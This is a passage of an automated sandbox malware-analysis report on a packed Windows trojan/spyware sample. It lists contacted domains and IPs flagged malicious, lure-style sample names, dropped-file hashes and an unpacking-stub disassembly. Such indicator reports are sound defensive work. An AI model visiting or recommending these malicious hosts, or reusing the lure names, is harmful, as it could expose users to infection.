                                    https://duckduckgo.com/chrome_newtabRmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://duckduckgo.com/ac/?q=RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.luismoreno.monsterORAQROHXYZcgef.exe, 00000007.00000002.3585550926.000000000556A000.00000040.80000000.00040000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://www.ecosia.org/newtab/RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.gemtastic.shop/junu?gp=1&js=1&uuid=1726248682.9783899546&other_args=eyJ1cmkiOiAiL2p1bnUiLRmClient.exe, 00000006.00000002.3586830343.0000000005A00000.00000004.00000800.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3585223608.0000000003B5A000.00000004.10000000.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000002.3584244391.000000000397A000.00000004.00000001.00040000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://ac.ecosia.org/autocomplete?q=RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www70.gemtastic.shop/ORAQROHXYZcgef.exe, 00000007.00000002.3584244391.000000000397A000.00000004.00000001.00040000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchRmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://tempatmudisini01.click/r9rj/?4N=aogCWYQt76vYu0d4luZRpRmClient.exe, 00000006.00000002.3585223608.0000000003E7E000.00000004.10000000.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000002.3584244391.0000000003C9E000.00000004.00000001.00040000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown

                                    World Map of Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public IPs

                                    IPDomainCountryFlagASNASN NameMalicious
                                    103.21.221.4
                                    		tempatmudisini01.clickunknown
                                    		9905LINKNET-ID-APLinknetASNIDtrue
                                    194.195.220.41
                                    		www.gemtastic.shopGermany
                                    		6659NEXINTO-DEtrue
                                    15.197.225.128
                                    		airbatchnow.onlineUnited States
                                    		7430TANDEMUStrue
                                    199.115.230.222
                                    		www.qmmkl.buzzCanada
                                    		25820IT7NETCAtrue
                                    3.33.130.190
                                    		weatherbook.liveUnited States
                                    		8987AMAZONEXPANSIONGBtrue
                                    192.241.156.136
                                    		www.luismoreno.monsterUnited States
                                    		14061DIGITALOCEAN-ASNUStrue

                                    General Information

                                    Joe Sandbox version:40.0.0 Tourmaline
                                    Analysis ID:1510970
                                    Start date and time:2024-09-13 19:28:06 +02:00
                                    Joe Sandbox product:CloudBasic
                                    Overall analysis duration:0h 9m 34s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                    Run name:Run with higher sleep bypass
                                    Number of analysed new started processes analysed:8
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:2
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Sample name:SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
                                    Detection:MAL
                                    Classification:mal100.troj.spyw.evad.winEXE@7/3@9/6
                                    EGA Information:
                                    • Successful, ratio: 75%
                                    HCA Information:
                                    • Successful, ratio: 91%
                                    • Number of executed functions: 41
                                    • Number of non-executed functions: 299
                                    Cookbook Comments:
                                    • Found application associated with file extension: .exe
                                    • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                    Warnings

                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                    • Not all processes where analyzed, report is missing behavior information
                                    • Report creation exceeded maximum time and may have missing disassembly code information.
                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                    • VT rate limit hit for: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe

                                    Simulations

                                    Behavior and APIs

                                    TimeTypeDescription
                                    13:30:30API Interceptor5369814x Sleep call for process: RmClient.exe modified

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    103.21.221.4SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exeGet hashmaliciousFormBookBrowse
                                    • www.tempatmudisini01.click/abla/
                                    194.195.220.41Quotation-27-08-24.exeGet hashmaliciousFormBookBrowse
                                    • www.techcables.shop/0hup/
                                    TNT Express Arrival Notice AWB 8013580 1182023_PDF_.exeGet hashmaliciousFormBookBrowse
                                    • www.ytonetgearhub.shop/l8y2/
                                    swift_payment_pdf.exeGet hashmaliciousFormBookBrowse
                                    • www.cheapdesklamp.shop/9nq7/
                                    15.197.225.128http://www.cordelloaks.comGet hashmaliciousUnknownBrowse
                                    • www.cordelloaks.com/
                                    firmware.armv4l.elfGet hashmaliciousUnknownBrowse
                                    • 15.197.225.128/
                                    firmware.armv5l.elfGet hashmaliciousUnknownBrowse
                                    • 15.197.225.128/
                                    firmware.mipsel.elfGet hashmaliciousUnknownBrowse
                                    • 15.197.225.128/
                                    knGrd6Wv3Y.exeGet hashmaliciousFormBookBrowse
                                    • www.fwbsmg.life/v15n/?o0D=OdIi350WXccHEqv996KO+lj0XHKkx2sKVd8QPYT49HZpepf4u0nSKrpUonI/yiTM9QpJUfHPRA==&pPl=OvTdJt
                                    productXsamplesXpdf.exeGet hashmaliciousFormBook, LummaC StealerBrowse
                                    • www.chicagocarpetcleaneril.com/kmge/
                                    shimo6657748893.exeGet hashmaliciousFormBookBrowse
                                    • www.histreetadvisory.com/s1k3/?8pn=nc8dK1sY4Bh8URC88ukml8NEeLbP1zKR4IuiHBBY1JBUUIUURoe9pIGbcPGJB+52XiKE&bn=yTFlSvOpCHKlbJU
                                    LisectAVT_2403002B_179.exeGet hashmaliciousUnknownBrowse
                                    • tri-countymech.com/g/133.jpg?pr=gHZutDyMv5rJeSG1J8K%2B1MWCJbP4lltXIA%3D%3D
                                    eqqjbbjMlt.elfGet hashmaliciousUnknownBrowse
                                    • offsetair.com/
                                    zkGOUJOnmc.elfGet hashmaliciousUnknownBrowse
                                    • designnerds.com/
                                    3.33.130.190SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exeGet hashmaliciousFormBookBrowse
                                    • www.consultarfacil.online/2ho9/
                                    invoice.exeGet hashmaliciousFormBookBrowse
                                    • www.autonashville.com/7d10/
                                    FATURALAR PDF.exeGet hashmaliciousFormBookBrowse
                                    • www.tigre777gg.online/zi0r/
                                    809768765454654.exeGet hashmaliciousFormBookBrowse
                                    • www.shapenbuy.com/3ddr/
                                    SecuriteInfo.com.Win32.Malware-gen.24953.22588.exeGet hashmaliciousFormBookBrowse
                                    • www.mayawashfold.net/pubu/?RD4=720lOZhY5ME50FrpYoFQfJB3GVwGZlmJfkWUU8pWBDX+bItynpmS3ysPC3l6F0mi/zWgVbOmmP1swxtDgCghWJF2qr1TAlFrNB9wLxXZnDOjL2vCUnS9ChM=&VzA=dz5HvTSP4ZdlFHDP
                                    file.exeGet hashmaliciousFormBookBrowse
                                    • www.ohio-adr.net/2g9t/
                                    New Purchase Order.exeGet hashmaliciousFormBookBrowse
                                    • www.u9dvxf.vip/tkbs/
                                    PASU5160894680 DOCS.scr.exeGet hashmaliciousFormBookBrowse
                                    • www.globyglen.info/tni7/
                                    r9856_7.exeGet hashmaliciousFormBookBrowse
                                    • www.thewhitediamond.org/ufia/
                                    x.exeGet hashmaliciousFormBookBrowse
                                    • www.takitoon.xyz/484o/

                                    Domains

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    www.luismoreno.monsterNew Purchase Order.exeGet hashmaliciousFormBookBrowse
                                    • 192.241.156.136
                                    www.cenfresh.lifeINV & BANK DETAILS LETTER.pdf.exeGet hashmaliciousFormBookBrowse
                                    • 199.192.21.169

                                    ASNs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    TANDEMUShttps://www.google.com/url?q=dCSMjVnvsqsqaP8pEWWm&rct=SpPq9HncUaCXUtCZusX0&sa=t&esrc=uZR6jk9A67Rj7RZhLuPE&source=&cd=eh0xIKCKpKh7i4kTt26p&cad=VEVtMkQKVNr1KW4fxShi&ved=NTDACygNXetEDbRT8YiY&uact=%20&url=amp/zoe-elefterin.com/M%2f13303%2FcXJzYy1xdWFsaXR5cmVwb3J0aW5nc2VydmljZWNlbnRlcmdyb3VwbWFpbGJveEBycmIuZ292Get hashmaliciousHTMLPhisherBrowse
                                    • 15.197.193.217
                                    https://l.co.ukGet hashmaliciousUnknownBrowse
                                    • 15.197.204.56
                                    https://andersonattack.com#suthra@oneazcu.com?client_id=email=suthra%40oneazcu.com&fname=&lname=&rid=IRXTDhDszfpTc61bxRYlWAueOHqUt8ZGet hashmaliciousHTMLPhisherBrowse
                                    • 15.197.193.217
                                    http://telstra-109219.weeblysite.com/Get hashmaliciousHTMLPhisherBrowse
                                    • 15.197.193.217
                                    http://metsmklogin.gitbook.io/Get hashmaliciousUnknownBrowse
                                    • 15.197.193.217
                                    http://att-103616.weeblysite.com/Get hashmaliciousUnknownBrowse
                                    • 15.197.193.217
                                    vm AUDIO_QzOXYQIfIQZ VOICE September 11th, 2024 attachment.htmlGet hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                    • 15.197.193.217
                                    JEXsDKnKx4.elfGet hashmaliciousMirai, OkiruBrowse
                                    • 128.88.47.118
                                    Play____Now(Stewart.b)a2f1c0d5349d3a3f5a8836dc306214787325a135.htmGet hashmaliciousHTMLPhisherBrowse
                                    • 15.197.193.217
                                    https://url.za.m.mimecastprotect.com/s/0BCLC2RJJxsopvqJcnfRC5V8Fi?domain=form.asana.comGet hashmaliciousUnknownBrowse
                                    • 15.197.167.90
                                    LINKNET-ID-APLinknetASNIDSOLICITUD DE COTIZACI#U00d3N - 6721000232111.exeGet hashmaliciousFormBookBrowse
                                    • 103.21.221.4
                                    ppc.elfGet hashmaliciousMirai, MoobotBrowse
                                    • 139.8.6.3
                                    firmware.armv4l.elfGet hashmaliciousUnknownBrowse
                                    • 139.40.24.232
                                    firmware.i686.elfGet hashmaliciousUnknownBrowse
                                    • 139.255.236.171
                                    botx.arm.elfGet hashmaliciousMiraiBrowse
                                    • 139.16.204.145
                                    botx.mpsl.elfGet hashmaliciousMiraiBrowse
                                    • 139.44.178.19
                                    x86.elfGet hashmaliciousMiraiBrowse
                                    • 139.16.152.226
                                    Zd07ab7Th7.elfGet hashmaliciousMiraiBrowse
                                    • 139.40.24.223
                                    ePoGPlQZXZ.elfGet hashmaliciousMiraiBrowse
                                    • 139.12.115.206
                                    E66M3O2493.elfGet hashmaliciousUnknownBrowse
                                    • 139.43.9.155
                                    AMAZONEXPANSIONGB2770023353 PayoffRequest.htmlGet hashmaliciousHTMLPhisherBrowse
                                    • 3.33.220.150
                                    https://www.google.com/url?q=dCSMjVnvsqsqaP8pEWWm&rct=SpPq9HncUaCXUtCZusX0&sa=t&esrc=uZR6jk9A67Rj7RZhLuPE&source=&cd=eh0xIKCKpKh7i4kTt26p&cad=VEVtMkQKVNr1KW4fxShi&ved=NTDACygNXetEDbRT8YiY&uact=%20&url=amp/zoe-elefterin.com/M%2f13303%2FcXJzYy1xdWFsaXR5cmVwb3J0aW5nc2VydmljZWNlbnRlcmdyb3VwbWFpbGJveEBycmIuZ292Get hashmaliciousHTMLPhisherBrowse
                                    • 3.33.220.150
                                    SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exeGet hashmaliciousFormBookBrowse
                                    • 3.33.130.190
                                    Play_VM-NowXuerebjAudiowav012.htmlGet hashmaliciousHTMLPhisherBrowse
                                    • 3.33.241.219
                                    invoice.exeGet hashmaliciousFormBookBrowse
                                    • 3.33.130.190
                                    r3T-ENQ-O-2024-10856.exeGet hashmaliciousFormBookBrowse
                                    • 3.33.130.190
                                    FATURALAR PDF.exeGet hashmaliciousFormBookBrowse
                                    • 3.33.130.190
                                    809768765454654.exeGet hashmaliciousFormBookBrowse
                                    • 3.33.130.190
                                    https://l.co.ukGet hashmaliciousUnknownBrowse
                                    • 3.33.243.145
                                    https://andersonattack.com#suthra@oneazcu.com?client_id=email=suthra%40oneazcu.com&fname=&lname=&rid=IRXTDhDszfpTc61bxRYlWAueOHqUt8ZGet hashmaliciousHTMLPhisherBrowse
                                    • 52.223.40.198
                                    NEXINTO-DEfile.exeGet hashmaliciousRedLineBrowse
                                    • 194.163.35.141
                                    file.exeGet hashmaliciousMicroClip, RedLineBrowse
                                    • 194.163.35.141
                                    66dcad8f5f33a_crypted.exeGet hashmaliciousMicroClip, RedLineBrowse
                                    • 194.163.35.141
                                    gobEmOm5sr.exeGet hashmaliciousLummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, XmrigBrowse
                                    • 194.163.35.141
                                    220204-TF1--00.exeGet hashmaliciousFormBookBrowse
                                    • 194.233.65.154
                                    20-EM-00- PI-INQ-3001.exeGet hashmaliciousFormBookBrowse
                                    • 194.233.65.154
                                    RFQ STR-160-01.exeGet hashmaliciousFormBookBrowse
                                    • 194.233.65.154
                                    mirai.mips.elfGet hashmaliciousMiraiBrowse
                                    • 194.195.59.215
                                    SecuriteInfo.com.Linux.Siggen.9999.19003.7982.elfGet hashmaliciousMiraiBrowse
                                    • 212.228.122.21
                                    quotation.exeGet hashmaliciousDarkTortilla, FormBookBrowse
                                    • 194.233.65.154
                                    IT7NETCA220204-TF1--00.exeGet hashmaliciousFormBookBrowse
                                    • 64.64.237.133
                                    shell86.elfGet hashmaliciousUnknownBrowse
                                    • 144.34.162.13
                                    shell.elfGet hashmaliciousConnectBackBrowse
                                    • 144.34.162.13
                                    payload.exeGet hashmaliciousMetasploitBrowse
                                    • 144.34.162.13
                                    Etisalat Summary Bill for the Month of August.exeGet hashmaliciousFormBookBrowse
                                    • 93.179.125.252
                                    Quote 1T PN40 082624.exeGet hashmaliciousFormBookBrowse
                                    • 64.64.253.144
                                    Copy of 01. Bill of Material - 705.exeGet hashmaliciousFormBookBrowse
                                    • 64.64.237.133
                                    Document 21824RXVPO.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                    • 64.64.253.144
                                    Document_081924.exeGet hashmaliciousFormBookBrowse
                                    • 45.62.102.216
                                    sora.arm7.elfGet hashmaliciousMiraiBrowse
                                    • 172.96.216.248

                                    JA3 Fingerprints

                                    ⊘No context

                                    Dropped Files

                                    ⊘No context

                                    Created / dropped Files

                                    C:\Users\user\AppData\Local\Temp\-4FOGv48

                                    Download File
                                    Process:C:\Windows\SysWOW64\RmClient.exe
                                    File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                    Category:dropped
                                    Size (bytes):114688
                                    Entropy (8bit):0.9746603542602881
                                    Encrypted:false
                                    SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                    MD5:780853CDDEAEE8DE70F28A4B255A600B
                                    SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                    SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                    SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                    Malicious:false
                                    Reputation:high, very likely benign file
                                    Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\AppData\Local\Temp\autC2DD.tmp

                                    Download File
                                    Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):286720
                                    Entropy (8bit):7.993370154356145
                                    Encrypted:true
                                    SSDEEP:6144:+IC0GAqKuuXaAa/SPugRoJVSsPBtjberVBZmzB1ESkTvfQOgniAx:+ICxAfjwSmOo/ftjwRQqni
                                    MD5:82C41086FE1D9B51C08A56FB39EA829E
                                    SHA1:A28CE5D2516521E580B97D836E19F045C2ECF048
                                    SHA-256:0D7CC0852B605A0094A3E6E7F0B91C68CC6CBB27C36F8EB929CF91B23B17B3EB
                                    SHA-512:5B652930BA76993E81811282A40AC43FAFD47D1F2DF55AD70AD88B46748540540AD66A9408E1D9111E3AFF41C704A6B5863B68B502F56964B9E4018023CCD192
                                    Malicious:false
                                    Reputation:low
                                    Preview:.kt..WWWK...N..h.CP..d29...WWKTW1GVOVRTYCSHLBL11DRWWWKTW1.VOV\K.MS.E.m.0..v.?"'wA59($39y 2&"-8.S!r%"9k=9....v?;=&}EAHh11DRWWW2U^.z6(.o4>.n(+.V...h70.Q...{6(.H..o(+..XR,o70.KTW1GVOV..YC.IMB.#9.RWWWKTW1.VMWYURCS.HBL11DRWWWkAW1GFOVR4]CSH.BL!1DRUWWMTW1GVOVTTYCSHLBLQ5DRUWWKTW1EV..RTICSXLBL1!DRGWWKTW1WVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBbET<&WWW..S1GFOVR.]CSXLBL11DRWWWKTW1gVO6RTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOV

                                    C:\Users\user\AppData\Local\Temp\murky

                                    Download File
                                    Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):286720
                                    Entropy (8bit):7.993370154356145
                                    Encrypted:true
                                    SSDEEP:6144:+IC0GAqKuuXaAa/SPugRoJVSsPBtjberVBZmzB1ESkTvfQOgniAx:+ICxAfjwSmOo/ftjwRQqni
                                    MD5:82C41086FE1D9B51C08A56FB39EA829E
                                    SHA1:A28CE5D2516521E580B97D836E19F045C2ECF048
                                    SHA-256:0D7CC0852B605A0094A3E6E7F0B91C68CC6CBB27C36F8EB929CF91B23B17B3EB
                                    SHA-512:5B652930BA76993E81811282A40AC43FAFD47D1F2DF55AD70AD88B46748540540AD66A9408E1D9111E3AFF41C704A6B5863B68B502F56964B9E4018023CCD192
                                    Malicious:false
                                    Reputation:low
                                    Preview:.kt..WWWK...N..h.CP..d29...WWKTW1GVOVRTYCSHLBL11DRWWWKTW1.VOV\K.MS.E.m.0..v.?"'wA59($39y 2&"-8.S!r%"9k=9....v?;=&}EAHh11DRWWW2U^.z6(.o4>.n(+.V...h70.Q...{6(.H..o(+..XR,o70.KTW1GVOV..YC.IMB.#9.RWWWKTW1.VMWYURCS.HBL11DRWWWkAW1GFOVR4]CSH.BL!1DRUWWMTW1GVOVTTYCSHLBLQ5DRUWWKTW1EV..RTICSXLBL1!DRGWWKTW1WVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBbET<&WWW..S1GFOVR.]CSXLBL11DRWWWKTW1gVO6RTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOVRTYCSHLBL11DRWWWKTW1GVOV

                                    Static File Info

                                    General

                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                    Entropy (8bit):7.952821211534304
                                    TrID:
                                    • Win32 Executable (generic) a (10002005/4) 99.39%
                                    • UPX compressed Win32 Executable (30571/9) 0.30%
                                    • Win32 EXE Yoda's Crypter (26571/9) 0.26%
                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                    • DOS Executable Generic (2002/1) 0.02%
                                    File name:SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
                                    File size:774'144 bytes
                                    MD5:a14a692229ddbfa219cec344079da149
                                    SHA1:44502f867c662e95710b72c78f754ff24e1b8f1b
                                    SHA256:052dca4820559afcefaa0fc6769f8095e160d887a1e08e9393e4da9d3fa2a7eb
                                    SHA512:ea4640269126ef3aec115d19fc281f28eada67c509765327ce14c9150f217e459beab547dca9a9b20fa4d2ace138a55a428266960989b3ed3bd04cef4b5f207a
                                    SSDEEP:12288:tz7hU5I5yuNHIgzSFKxWltRohBfSTso93U9w3cKWoq2y3bvbiJeQvQK8hj3wErvW:tf+iN57Gtene325KWd2ObgeQGhj7vqdH
                                    TLSH:BBF423AA9880AFA5D1907330C436CDA1A9793C71DF4666364B7DF60B3834397E872B0D
                                    File Content Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

                                    File Icon

                                    Icon Hash:aaf3e3e3938382a0

                                    Static PE Info

                                    General

                                    Entrypoint:0x5446a0
                                    Entrypoint Section:UPX1
                                    Digitally signed:false
                                    Imagebase:0x400000
                                    Subsystem:windows gui
                                    Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                    DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                    Time Stamp:0x66E438FF [Fri Sep 13 13:07:11 2024 UTC]
                                    TLS Callbacks:
                                    CLR (.Net) Version:
                                    OS Version Major:5
                                    OS Version Minor:1
                                    File Version Major:5
                                    File Version Minor:1
                                    Subsystem Version Major:5
                                    Subsystem Version Minor:1
                                    Import Hash:21371b611d91188d602926b15db6bd48

                                    Entrypoint Preview

                                    Instruction
                                    pushad
                                    mov esi, 004E8000h
                                    lea edi, dword ptr [esi-000E7000h]
                                    push edi
                                    jmp 00007F732CD20B9Dh
                                    nop
                                    mov al, byte ptr [esi]
                                    inc esi
                                    mov byte ptr [edi], al
                                    inc edi
                                    add ebx, ebx
                                    jne 00007F732CD20B99h
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    jc 00007F732CD20B7Fh
                                    mov eax, 00000001h
                                    add ebx, ebx
                                    jne 00007F732CD20B99h
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    adc eax, eax
                                    add ebx, ebx
                                    jnc 00007F732CD20B9Dh
                                    jne 00007F732CD20BBAh
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    jc 00007F732CD20BB1h
                                    dec eax
                                    add ebx, ebx
                                    jne 00007F732CD20B99h
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    adc eax, eax
                                    jmp 00007F732CD20B66h
                                    add ebx, ebx
                                    jne 00007F732CD20B99h
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    adc ecx, ecx
                                    jmp 00007F732CD20BE4h
                                    xor ecx, ecx
                                    sub eax, 03h
                                    jc 00007F732CD20BA3h
                                    shl eax, 08h
                                    mov al, byte ptr [esi]
                                    inc esi
                                    xor eax, FFFFFFFFh
                                    je 00007F732CD20C07h
                                    sar eax, 1
                                    mov ebp, eax
                                    jmp 00007F732CD20B9Dh
                                    add ebx, ebx
                                    jne 00007F732CD20B99h
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    jc 00007F732CD20B5Eh
                                    inc ecx
                                    add ebx, ebx
                                    jne 00007F732CD20B99h
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    jc 00007F732CD20B50h
                                    add ebx, ebx
                                    jne 00007F732CD20B99h
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    adc ecx, ecx
                                    add ebx, ebx
                                    jnc 00007F732CD20B81h
                                    jne 00007F732CD20B9Bh
                                    mov ebx, dword ptr [esi]
                                    sub esi, FFFFFFFCh
                                    adc ebx, ebx
                                    jnc 00007F732CD20B76h
                                    add ecx, 02h
                                    cmp ebp, FFFFFB00h
                                    adc ecx, 02h
                                    lea edx, dword ptr [edi+ebp]
                                    cmp ebp, FFFFFFFCh
                                    jbe 00007F732CD20BA0h
                                    mov al, byte ptr [edx]

                                    Rich Headers

                                    Programming Language:
                                    • [ C ] VS2008 SP1 build 30729
                                    • [IMP] VS2008 SP1 build 30729

                                    Data Directories

                                    NameVirtual AddressVirtual Size Is in Section
                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x1a4c480x424.rsrc
                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x1450000x5fc48.rsrc
                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x1a506c0x14.rsrc
                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_TLS0x1448840x18UPX1
                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x1448a40xa0UPX1
                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                    Sections

                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                    UPX00x10000xe70000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
